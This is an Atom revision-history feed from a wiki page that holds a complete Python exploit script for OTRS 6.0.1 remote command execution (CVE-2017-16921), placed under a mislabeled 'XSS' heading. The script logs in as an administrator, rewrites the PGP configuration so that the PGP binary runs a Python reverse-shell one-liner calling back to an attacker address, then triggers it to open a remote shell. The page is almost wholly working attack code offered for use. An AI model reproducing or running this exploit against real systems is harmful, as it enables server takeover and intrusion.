<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OTRS_6.0.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>OTRS 6.0.1 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=OTRS_6.0.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OTRS_6.0.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T19:58:38Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=OTRS_6.0.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1865&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==XSS== &lt;pre&gt; # Exploit Title: OTRS 6.0.1 - Remote Command Execution (2) # Date: 21-04-2021 # Exploit Author: Hex_26 # Vendor Homepage: https://www.otrs.com/ # Software Link:...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=OTRS_6.0.1_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1865&amp;oldid=prev"/>
		<updated>2021-04-22T09:26:09Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==XSS== &amp;lt;pre&amp;gt; # Exploit Title: OTRS 6.0.1 - Remote Command Execution (2) # Date: 21-04-2021 # Exploit Author: Hex_26 # Vendor Homepage: https://www.otrs.com/ # Software Link:...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==XSS==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: OTRS 6.0.1 - Remote Command Execution (2)&lt;br /&gt;
# Date: 21-04-2021&lt;br /&gt;
# Exploit Author: Hex_26&lt;br /&gt;
# Vendor Homepage: https://www.otrs.com/&lt;br /&gt;
# Software Link: http://ftp.otrs.org/pub/otrs/&lt;br /&gt;
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1&lt;br /&gt;
# Tested on: OTRS 5.0.2/CentOS 7.2.1511&lt;br /&gt;
# CVE : CVE-2017-16921&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
Designed after https://www.exploit-db.com/exploits/43853.&lt;br /&gt;
Runs a python reverse shell on the target with the preconfigured options.&lt;br /&gt;
&lt;br /&gt;
This script does not start a listener for you. Run one on your own with netcat or another similar tool&lt;br /&gt;
&lt;br /&gt;
By default, this script will launch a python reverse shell one liner with no cleanup. Manual cleanup needs to be done for the PGP options in the admin panel if you wish to preserve full working condition.&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
import requests;&lt;br /&gt;
import sys;&lt;br /&gt;
&lt;br /&gt;
baseuri = &amp;quot;http://10.1.1.1/index.pl&amp;quot;;&lt;br /&gt;
username = &amp;quot;root@localhost&amp;quot;;&lt;br /&gt;
password = &amp;quot;root&amp;quot;;&lt;br /&gt;
revShellIp = &amp;quot;10.1.1.2&amp;quot;;&lt;br /&gt;
revShellPort = 7007;&lt;br /&gt;
&lt;br /&gt;
sess = requests.Session();&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Retrieving auth token...&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
data = {&amp;quot;Action&amp;quot;:&amp;quot;Login&amp;quot;,&amp;quot;RequestedURL&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;Lang&amp;quot;:&amp;quot;en&amp;quot;,&amp;quot;TimeOffset&amp;quot;:&amp;quot;-480&amp;quot;,&amp;quot;User&amp;quot;:username,&amp;quot;Password&amp;quot;:password};&lt;br /&gt;
&lt;br /&gt;
sess.post(baseuri,data=data);&lt;br /&gt;
&lt;br /&gt;
if &amp;quot;OTRSAgentInterface&amp;quot; in sess.cookies.get_dict():&lt;br /&gt;
    print(&amp;quot;[+] Successfully logged in:&amp;quot;);&lt;br /&gt;
    print(&amp;quot;OTRSAgentInterface&amp;quot;,&amp;quot;:&amp;quot;,sess.cookies.get_dict()[&amp;quot;OTRSAgentInterface&amp;quot;]);&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;[-] Failed to log in. Bad credentials?&amp;quot;);&lt;br /&gt;
    sys.exit();&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Grabbing challenge token from PGP panel...&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
contents = sess.get(baseuri+&amp;quot;?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework&amp;quot;).text;&lt;br /&gt;
challTokenStart = contents.find('&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;ChallengeToken&amp;quot; value=&amp;quot;')+50;&lt;br /&gt;
challengeToken = contents[challTokenStart:challTokenStart+32];&lt;br /&gt;
print(&amp;quot;[+]&amp;quot;,challengeToken);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Enabling PGP keys in config, and setting our malicious command&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
settings = {\&lt;br /&gt;
&amp;quot;ChallengeToken&amp;quot;:challengeToken,\&lt;br /&gt;
&amp;quot;Action&amp;quot;:&amp;quot;AdminSysConfig&amp;quot;,\&lt;br /&gt;
&amp;quot;Subaction&amp;quot;:&amp;quot;Update&amp;quot;,\&lt;br /&gt;
&amp;quot;SysConfigGroup&amp;quot;:&amp;quot;Framework&amp;quot;,\&lt;br /&gt;
&amp;quot;SysConfigSubGroup&amp;quot;:&amp;quot;Crypt::PGP&amp;quot;,\&lt;br /&gt;
&amp;quot;DontWriteDefault&amp;quot;:&amp;quot;1&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP&amp;quot;:&amp;quot;1&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Bin&amp;quot;:&amp;quot;/usr/bin/python&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Options&amp;quot;:&amp;quot;-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&amp;quot;&amp;quot; + revShellIp + &amp;quot;\&amp;quot;,&amp;quot; + str(revShellPort) + &amp;quot;));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&amp;quot;/bin/sh\&amp;quot;,\&amp;quot;-i\&amp;quot;]);'&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Key::PasswordKey[]&amp;quot;:&amp;quot;488A0B8F&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Key::PasswordContent[]&amp;quot;:&amp;quot;SomePassword&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Key::PasswordDeleteNumber[]&amp;quot;:&amp;quot;1&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Key::PasswordKey[]&amp;quot;:&amp;quot;D2DF79FA&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Key::PasswordContent[]&amp;quot;:&amp;quot;SomePassword&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::Key::PasswordDeleteNumber[]&amp;quot;:&amp;quot;2&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::TrustedNetworkItemActive&amp;quot;:&amp;quot;1&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::TrustedNetwork&amp;quot;:&amp;quot;0&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;BADSIG&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;The+PGP+signature+with+the+keyid+has+not+been+verified+successfully.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;1&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;ERRSIG&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;It+was+not+possible+to+check+the+PGP+signature%2C+this+may+be+caused+by+a+missing+public+key+or+an+unsupported+algorithm.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;2&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;EXPKEYSIG&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;The+PGP+signature+was+made+by+an+expired+key.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;3&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;GOODSIG&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;Good+PGP+signature.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;4&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;KEYREVOKED&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;5&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;NODATA&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;No+valid+OpenPGP+data+found.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;6&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;NO_PUBKEY&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;No+public+key+found.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;7&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;REVKEYSIG&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;The+PGP+signature+was+made+by+a+revoked+key%2C+this+could+mean+that+the+signature+is+forged.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;8&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;SIGEXPIRED&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;The+PGP+signature+is+expired.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;9&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;SIG_ID&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;Signature+data.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;10&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;TRUST_UNDEFINED&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;This+key+is+not+certified+with+a+trusted+signature%21.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;11&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogKey[]&amp;quot;:&amp;quot;VALIDSIG&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogContent[]&amp;quot;:&amp;quot;The+PGP+signature+with+the+keyid+is+good.&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::LogDeleteNumber[]&amp;quot;:&amp;quot;12&amp;quot;,\&lt;br /&gt;
&amp;quot;PGP::StoreDecryptedData&amp;quot;:&amp;quot;1&amp;quot;\&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sess.post(baseuri+&amp;quot;?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt::PGP;SysConfigGroup=Framework&amp;quot;,data=settings);&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Now attempting to trigger the command. If this hangs, it likely means the reverse shell started.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
sess.get(baseuri+&amp;quot;?Action=AdminPGP&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[+] Exploit complete, check your listener for a shell&amp;quot;);&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>